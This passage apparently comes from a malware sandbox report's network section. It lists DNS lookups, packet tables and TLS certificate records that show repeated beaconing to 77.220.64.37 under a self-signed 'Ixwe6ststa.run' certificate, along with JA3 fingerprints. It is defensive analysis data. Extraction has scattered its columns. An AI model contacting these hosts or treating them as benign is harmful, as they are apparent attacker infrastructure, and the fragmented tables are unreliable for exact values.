Jan 12, 2021 07:39:46.206459999 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.207567930 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.207600117 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.207640886 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.208791018 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.208820105 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.208929062 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.209887028 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.209913015 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.210000038 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.367963076 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.367995977 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.368151903 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.368413925 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.368429899 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.368470907 CET 49165 443 192.168.2.22 104.27.153.52
Jan 12, 2021 07:39:46.369112015 CET 443 49165 104.27.153.52 192.168.2.22
Jan 12, 2021 07:39:46.369132042 CET 443 49165 104.27.153.52 192.168.2.22

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Jan 12, 2021 07:39:44.630251884 CET 52197 53 192.168.2.22 8.8.8.8
Jan 12, 2021 07:39:44.698278904 CET 53 52197 8.8.8.8 192.168.2.22
Jan 12, 2021 07:39:52.469271898 CET 53099 53 192.168.2.22 8.8.8.8
Jan 12, 2021 07:39:52.517098904 CET 53 53099 8.8.8.8 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 12, 2021 07:39:52.769494057 CET 52838 53 192.168.2.22 8.8.8.8

Jan 12, 2021 07:39:52.825742006 CET 53 52838 8.8.8.8 192.168.2.22

Jan 12, 2021 07:40:29.825201035 CET 61200 53 192.168.2.22 8.8.8.8

Jan 12, 2021 07:40:29.873004913 CET 53 61200 8.8.8.8 192.168.2.22

Jan 12, 2021 07:40:29.904664040 CET 49548 53 192.168.2.22 8.8.8.8

Jan 12, 2021 07:40:29.952553034 CET 53 49548 8.8.8.8 192.168.2.22

Jan 12, 2021 07:40:30.848588943 CET 55627 53 192.168.2.22 8.8.8.8

Jan 12, 2021 07:40:30.896363974 CET 53 55627 8.8.8.8 192.168.2.22

Jan 12, 2021 07:40:30.908526897 CET 56009 53 192.168.2.22 8.8.8.8

Jan 12, 2021 07:40:30.956259012 CET 53 56009 8.8.8.8 192.168.2.22

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 12, 2021 07:39:44.630251884 CET 192.168.2.22 8.8.8.8 0x2c09 Standard query  education. A (IP address) IN (0x0001)
0) scrollx.in

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 12, 2021 8.8.8.8 192.168.2.22 0x2c09 No error (0) education. 104.27.153.52 A (IP address) IN (0x0001)

07:39:44.698278904 scrollx.in

CET

Jan 12, 2021 8.8.8.8 192.168.2.22 0x2c09 No error (0) education. 172.67.211.199 A (IP address) IN (0x0001)

07:39:44.698278904 scrollx.in

CET

Jan 12, 2021 8.8.8.8 192.168.2.22 0x2c09 No error (0) education. 104.27.152.52 A (IP address) IN (0x0001)

07:39:44.698278904 scrollx.in

CET

Jan 12, 2021 8.8.8.8 192.168.2.22 Oxcced No error (0) cdn.digice 104.18.11.39 A (IP address) IN (0x0001)

07:40:30.896363974 rtcdn.com

CET

Jan 12, 2021 8.8.8.8 192.168.2.22 Oxcced No error (0) cdn.digice 104.18.10.39 A (IP address) IN (0x0001)

07:40:30.896363974 rtcdn.com

CET

Jan 12, 2021 8.8.8.8 192.168.2.22 Ox5ele No error (0) cdn.digice 104.18.10.39 A (IP address) IN (0x0001)

07:40:30.956259012 rtcdn.com

CET

Jan 12, 2021 8.8.8.8 192.168.2.22 Ox5ele No error (0) cdn.digice 104.18.11.39 A (IP address) IN (0x0001)

07:40:30.956259012 rtcdn.com

CET

HTTPS Packets

Source Dest Not Not JA3 SSL Client
Timestamp Source IP Port Dest IP Port  Subject Issuer Before After Fingerprint JA3 SSL Client Digest
Jan 12, 2021 104.27.153.52 443 192.168.2.22 49165 CN=sni.cloudflaressl.com, CN=Cloudflare Inc Wed Thu May 771,49192- 7dcce5b76c8b17472d024
07:39:44.823704958 O="Cloudflare, Inc.", L=San  ECC CA-3, May 20 20 49191-49172- 758970a406b
CET Francisco, ST=CA, C=US O="Cloudflare, Inc.",  02:00:00 14:00:00 49171-159-158-
CN=Cloudflare Inc ECC CA- C=US CN=Baltimore CEST CEST  57-51-157-156-
3, O="Cloudflare, Inc.", C=US CyberTrust Root, 2020 2021 61-60-53-47-
OU=CyberTrust, Mon Jan Wed 49196-49195-
O=Baltimore, C=IE 27 Jan 01  49188-49187-

13:48:08 00:59:59 49162-49161-
CET CET 106-64-56-50-10-
2020 2025 19,0-10-11-13-
23-65281,23-24,0

CN=Cloudflare Inc ECC CA- CN=Baltimore Mon Jan Wed
3, O="Cloudflare, Inc.", C=US CyberTrust Root, 27 Jan 01
OU=CyberTrust, 13:48:08 00:59:59
O=Baltimore, C=IE CET CET
2020 2025
Jan 12, 2021 77.220.64.37 443 192.168.2.22 49166 CN=Ixwe6ststa.run, CN=Ixwe6ststa.run, Sun Nov Mon 771,49192- eb88d0b3e1961a0562f00
07:39:50.885082006 O=Nelalia Co., L=Kigali, O=Nelalia Co., 22 May 24 49191-49172- 6e5ce2a0b87
CET C=RW L=Kigali, C=RW 23:47:21 00:47:21 49171-159-158-

CET CEST  57-51-157-156-

2020 2021 61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0
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Source

Timestamp Source IP Port

Jan 12, 2021
07:39:55.937339067
CET

77.220.64.37 443

Jan 12, 2021
07:39:57.985172033
CET

77.220.64.37 443

Jan 12, 2021
07:40:00.063389063
CET

77.220.64.37 443

Jan 12, 2021
07:40:02.122035027
CET

77.220.64.37 443

Jan 12, 2021
07:40:04.216496944
CET

77.220.64.37 443

Jan 12, 2021
07:40:06.290813923
CET

77.220.64.37 443

Jan 12, 2021
07:40:08.344388962
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49171 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49175 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49179 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49183 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49187 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49191 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49195 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source

Timestamp Source IP Port

Jan 12, 2021
07:40:11.713543892
CET

77.220.64.37 443

Jan 12, 2021
07:40:13.772563934
CET

77.220.64.37 443

Jan 12, 2021
07:40:15.832707882
CET

77.220.64.37 443

Jan 12, 2021
07:40:18.097915888
CET

77.220.64.37 443

Jan 12, 2021
07:40:20.146485090
CET

77.220.64.37 443

Jan 12, 2021
07:40:22.234646082
CET

77.220.64.37 443

Jan 12, 2021
07:40:24.288883924
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49199 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49203 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49207 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49212 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49216 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49220 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49224 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

Page 44 of 90



Source

Timestamp Source IP Port

Jan 12, 2021
07:40:26.363502026
CET

77.220.64.37 443

Jan 12, 2021
07:40:30.113729954
CET

77.220.64.37 443

Jan 12, 2021
07:40:32.462321043
CET

77.220.64.37 443

Jan 12, 2021
07:40:34.535433054
CET

77.220.64.37 443

Jan 12, 2021
07:40:36.631721020
CET

77.220.64.37 443

Jan 12, 2021
07:40:38.685161114
CET

77.220.64.37 443

Jan 12, 2021
07:40:40.730827093
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49228 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49233 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49238 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49242 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49246 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49250 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49254 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source

Timestamp Source IP Port

Jan 12, 2021
07:40:42.774066925
CET

77.220.64.37 443

Jan 12, 2021
07:40:44.976768017
CET

77.220.64.37 443

Jan 12, 2021
07:40:47.942837000
CET

77.220.64.37 443

Jan 12, 2021
07:40:50.002372980
CET

77.220.64.37 443

Jan 12, 2021
07:40:52.101597071
CET

77.220.64.37 443

Jan 12, 2021
07:40:54.177886009
CET

77.220.64.37 443

Jan 12, 2021
07:40:56.221548080
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49258 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49262 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49266 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49270 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49274 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49278 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49282 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source

Timestamp Source IP Port

Jan 12, 2021
07:40:58.289483070
CET

77.220.64.37 443

Jan 12, 2021
07:41:00.361535072
CET

77.220.64.37 443

Jan 12, 2021
07:41:02.555783987
CET

77.220.64.37 443

Jan 12, 2021
07:41:05.159917116
CET

77.220.64.37 443

Jan 12, 2021
07:41:07.252962112
CET

77.220.64.37 443

Jan 12, 2021
07:41:09.305660963
CET

77.220.64.37 443

Jan 12, 2021
07:41:11.370776892
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49286 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49290 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49294 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49298 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49302 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49306 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49310 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source
Port

Timestamp Source IP

Jan 12, 2021
07:41:13.430650949
CET

77.220.64.37 443

Jan 12, 2021
07:41:15.507910967
CET

77.220.64.37 443

Jan 12, 2021
07:41:17.549895048
CET

77.220.64.37 443

Jan 12, 2021
07:41:19.650753021
CET

77.220.64.37 443

Jan 12, 2021
07:41:22.122325897
CET

77.220.64.37 443

Jan 12, 2021
07:41:24.215425014
CET

77.220.64.37 443

Jan 12, 2021
07:41:26.255388021
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49314 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49318 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49322 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49326 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49330 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49334 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49338 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
106-64-56-50-10-
19,10-11-13-23-
65281,23-24,0

771,49192-
49191-49172-
49171-159-158-
57-51-157-156-
61-60-53-47-
49196-49195-
49188-49187-
49162-49161-
